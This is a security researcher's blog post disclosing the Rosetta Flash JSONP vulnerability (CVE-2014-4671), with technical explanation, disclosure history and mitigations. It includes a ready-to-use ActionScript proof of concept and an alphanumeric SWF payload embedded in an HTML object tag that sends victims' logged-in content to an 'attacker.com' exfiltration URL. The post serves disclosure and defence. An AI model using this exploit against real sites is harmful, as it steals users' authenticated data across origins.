Abusing JSONP with Rosetta Flash

July 8, 2014

In this blog post I present Rosetta Flash, a tool for converting any SWF file to one composed of only alphanumeric characters in order to abuse JSONP endpoints, making a victim perform arbitrary requests to the domain with the vulnerable endpoint and exfiltrate potentially sensitive data, not limited to JSONP responses, to an attacker-controlled site. This is a XSRF bypassing Same Origin Policy.

Rosetta Flash logo

High profile Google domains (accounts.google.com, www., books., maps., etc.) and YouTube were vulnerable and have been recently fixed. Twitter, LinkedIn, Yahoo!, eBay, Mail.ru, Flickr, Baidu, Instagram, Tumblr and Olark still have vulnerable JSONP endpoints at the time of writing this blog post (but Adobe pushed a fix in the latest Flash Player, see Mitigations and fix).

Update 2014-08-12: The original fix by Adobe was not enough (CVE-2014-5333 (NIST)). After a month, Adobe released a better fix for Rosetta Flash.

This is a well known issue in the infosec community, but so far no public tools for generating arbitrary ASCII-only, or, even better, alphanum only, valid SWF files have been presented. This led websites owners and even big players in the industry to postpone any mitigation until a credible proof of concept was provided.

So, that moment has come :) .

I will present this vulnerability at Hack In The Box: Malaysia this October, and the Rosetta Flash technology will be featured in the next PoC||GTFO release.

A CVE identifier has been assigned: CVE-2014-4671 (NIST).

Paper and slides

If you prefer, you can discover the beauty of Rosetta by reading the paper or with a set of comprehensive slides.

The attack scenario

To better understand the attack scenario it is important to take into account the combination of three factors:

  1. With Flash, a SWF file can perform cookie-carrying GET and POST requests to the domain that hosts it, with no crossdomain.xml check. This is why allowing users to upload a SWF file on a sensitive domain is dangerous: by uploading a carefully crafted SWF, an attacker can make the victim perform requests that have side effects and exfiltrate sensitive data to an external, attacker-controlled, domain.

  2. JSONP, by design, allows an attacker to control the first bytes of the output of an endpoint by specifying the callback parameter in the request URL. Since most JSONP callbacks restrict the allowed charset to [a-zA-Z], _ and ., my tool focuses on this very restrictive charset, but it is general enough to work with different user-specified allowed charsets.

  3. SWF files can be embedded on an attacker-controlled domain using a Content-Type forcing <object> tag, and will be executed as Flash as long as the content looks like a valid Flash file.

Rosetta Flash leverages zlib, Huffman encoding and ADLER32 checksum bruteforcing to convert any SWF file to another one composed of only alphanumeric characters, so that it can be passed as a JSONP callback and then reflected by the endpoint, effectively hosting the Flash file on the vulnerable domain.

In the Rosetta Flash GitHub repository I provide ready-to-be-pasted, universal, weaponized full featured proofs of concept with ActionScript sources.

But how does Rosetta Flash really work?

Details on Rosetta Flash

Rosetta Flash takes in input an ordinary binary SWF and returns an equivalent one compressed with zlib such that it is composed of alphanumeric characters only

Rosetta Flash uses ad-hoc Huffman encoders in order to map non-allowed bytes to allowed ones. Naturally, since we are mapping a wider charset to a more restrictive one, this is not a real compression, but an inflation: we are effectively using Huffman as a Rosetta stone.

A Flash file can be either uncompressed (magic bytes FWS), zlib-compressed (magic bytes CWS) or LZMA-compressed (magic bytes ZWS).

SWF header formats

Furthermore, Flash parsers are very liberal, and tend to ignore invalid fields. This is very good for us, because we can force it to the characters we prefer.

Flash parsers are liberal

zlib header hacking

We need to make sure that the first two bytes of the zlib stream, which is basically a wrapper over DEFLATE, are OK.

Here is how I did that:

Hacking the first byte of the zlib header Hacking the second byte of the zlib header

There aren’t many allowed two-bytes sequences for CMF (Compression Method and flags) + CINFO (malleable) + FLG (including a check bit for CMF and FLG that has to match, preset dictionary (not present), compression level (ignored)).

0x68 0x43 = hC is allowed and Rosetta Flash always uses this particular sequence.

ADLER32 checksum bruteforcing

As you can see from the SWF header format, the checksum is the trailing part of the zlib stream included in the compressed SWF in output, so it also needs to be alphanumeric. Rosetta Flash appends bytes in a clever way to get an ADLER32 checksum of the original uncompressed SWF that is made of just [a-zA-Z0-9_\.] characters.

An ADLER32 checksum is composed of two 4-bytes rolling sums, S1 and S2, concatenated:

ADLER32 checksum

For our purposes, both S1 and S2 must have a byte representation that is allowed (i.e., all alphanumeric). The question is: how to find an allowed checksum by manipulating the original uncompressed SWF? Luckily, the SWF file format allows to append arbitrary bytes at the end of the original SWF file: they are ignored. This is gold for us.

But what is a clever way to append bytes? I call my approach Sleds + Deltas technique:

ADLER32 checksum manipulation

Basically, we can keep adding a high byte sled (of fe, because ff doesn’t play so nicely with the Huffman part we’ll roll out later) until there is a single byte we can add to make S1 modulo-overflow and become the minimum allowed byte representation, and then we add that delta.

Now we have a valid S1, and we want to keep it fixed. So we add a NULL bytes sled until S2 modulo-overflows, and we also get a valid S2.

Huffman magic

Once we have an uncompressed SWF with an alphanumeric checksum and a valid alphanumeric zlib header, it’s time to create dynamic Huffman codes that translate everything to [a-zA-Z0-9_\.] characters. This is currently done with a pretty raw but effective approach that has to be optimized in order to work effectively for larger files. Twist: also the representation of tables, to be embedded in the file, has to satisfy the same charset constraints.

DEFLATE block format

We use two different hand-crafted Huffman encoders that make minimum effort in being efficient, but focus on byte alignment and offsets to get bytes to fall into the allowed charset. In order to reduce the inevitable inflation in size, repeat codes (code 16, mapped to 00) are used to produce shorter output which is still alphanumeric.

For more detail, feel free to browse the source code in the Rosetta Flash GitHub repository.

Here is how the output file looks, bit-by-bit:

Rosetta Flash output bit-by-bit

Wrapping up the output file

We now have everything we need:

Success! Here is a completely alphanumeric SWF file!

Please enjoy an alphanumeric rickroll (might no longer work in latest Flash Player, see Mitigations and fix).

An universal, weaponized proof of concept

Here is an example written in ActionScript 2 (for the mtasc open source compiler, now replaced by [Haxe]](https://haxe.org/)):

class X {

    static var app : X;

    function X(mc) {
        if (_root.url) {
            var r:LoadVars = new LoadVars();
            r.onData = function(src:String) {
                if (_root.exfiltrate) {
                    var w:LoadVars = new LoadVars();
                    w.x = src;
                    w.sendAndLoad(_root.exfiltrate, w, "POST");
                }
            }
            r.load(_root.url, r, "GET");
        }
    }

    // entry point
    static function main(mc) {
        app = new X(mc);
    }
}

We compile it to an uncompressed SWF file, and feed it to Rosetta Flash.

The alphanumeric output (wrapped, remove newlines) is:

CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03
sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnU
U5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0CiudIbEAt33
swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsg
SkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133
333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33
333sG03sDDdFPhHHHbWqHxHjHZNAqFzAHZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMH
bBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnn
nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0G
DtDDDGGDDGDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAw
XHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHt
HHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnn
nnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0333GDw0w33333www033GdFP
DHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7C
iudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoD
HDHTlOLHHhHxeHXWgHZHoXHTHNo4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7Ciu
dIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXt
hHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhH
HvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNq
dIbe133333333333333333WfF03sTeqefXA888oooooooooooooooooooooooooooooooooo
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oooooooooooooooooooooooooooooooo888888880Nj0h

The attacker has to simply host this HTML page on his/her domain, together with a crossdomain.xml file in the root that allows external connections from victims, and make the victim load it.

<object type="application/x-shockwave-flash"
data="https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZUnnnnnnnn
nnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0333333Gt333swwv3ww
wFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV133
33333333333333s03sDTVqefXAxooooD0CiudIbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt3
3333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnn
nnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtw
EpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzA
HZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEm
IVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7Ciud
IbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDDGDDtDD33333s03GdFPXHLHAZZO
XHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwXHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgb
HHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLT
MwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG
33ww0sDtDt0333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUn
nnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD
33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTHNo4D0Up0IZUnnnnn
nnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDww
Gw0GDDw0w33333www033GdFPHLRDXthHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyM
IuiCyIYEHWSsgHmHKcskHoXHLHwhHHvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnn
nnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooo888888880Nj0h"
style="display: none">
    <param name="FlashVars"
    value="url=https://vulnerable.com/account/sensitive_content_logged_in
    &exfiltrate=http://attacker.com/log.php">
</object>

This universal proof of concept accepts two parameters passed as FlashVars:

  • url — the URL in the same domain of the vulnerable endpoint to which perform a GET request with the victim’s cookie.

  • exfiltrate — the attacker-controlled URL to which POST a x variable with the exfiltrated data.

Mitigations and fix

Mitigations by Adobe

Due to the sensitivity of this vulnerability, I first disclosed it internally in Google, and then privately to Adobe PSIRT. A few days before releasing the code and publishing this blog post, I also notified Twitter, eBay, Tumblr and Instagram.

Adobe confirmed they pushed a tentative fix in Flash Player 14 beta codename Lombard (version 14.0.0.125, release notes) and finalized the fix in today’s release (version 14.0.0.145, released on July 8, 2014).

In the security bulletin APSB14-17, Adobe mentions a stricter verification of the SWF file format:

These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671).

Adobe released a better fix on August 12, 2014, an even better one on June 09, 2015 and finally a probably-good-for-real one on September 21, 2015.

Mitigations by website owners

First of all, it is important to avoid using JSONP on sensitive domains, and if possible use a dedicated sandbox domain.

A mitigation is to make endpoints return the HTTP header Content-Disposition: attachment; filename=f.txt, forcing a file download. This is enough for instructing Flash Player not to run the SWF starting from Adobe Flash 10.2.

To be also protected from content sniffing attacks, prepend the reflected callback with /**/. This is exactly what Google, Facebook and GitHub are currently doing.

Furthermore, to hinder this attack vector in most modern browsers you can also return the HTTP header X-Content-Type-Options: nosniff. If the JSONP endpoint returns a Content-Type which is not application/x-shockwave-flash (usually application/javascript or application/json), Flash Player will refuse to execute the SWF.

Acknowledgment and impact

Thanks to Gábor Molnár, who worked on ascii-zip, source of inspiration for the Huffman part of Rosetta. I learn talking with him in private that we worked independently on the same problem. He privately came up with a single instance of an ASCII SWF approximately one month before I finished the whole Rosetta Flash internally at Google in May and reported it to HackerOne only.

To protect themselves, most JSONP endpoints on the web now modified their response to prefix something, such as an empty JS comment. Several frameworks (Ruby on Rails, Rack, Symfony, Express.js, Node.js, hapi.js, Scalatra, see all Rosetta Flash-related code on GitHub…) patched their JSONP logic. Rapid7 incorporated the exfiltrating PoC in an official Metasploit module. The Wikipedia page for JSONP has a Rosetta Flash paragraph. Three CVEs have been assigned: CVE-2014-4671 for the vulnerability itself and CVE-2014-5333 + CVE-2015-3096 + CVE-2015-5571 for mitigation bypasses (one authored by me, the rest by Tomáš Polešovský and Ben Hayak.

Presented at major conferences (HITB, OWASP AppSec), it won an Internet Bug Bounty, was nominated for a Pwnie Award and appears in Whitesec Top vulnerabilities of 2014.

xsrfflashjsonprosettaflash
Creative Commons Attribution-ShareAlike 4.0 International License

Adobe fixed Rosetta Flash today

XSS in Zagat, exploiting a XOR-based obfuscation algorithm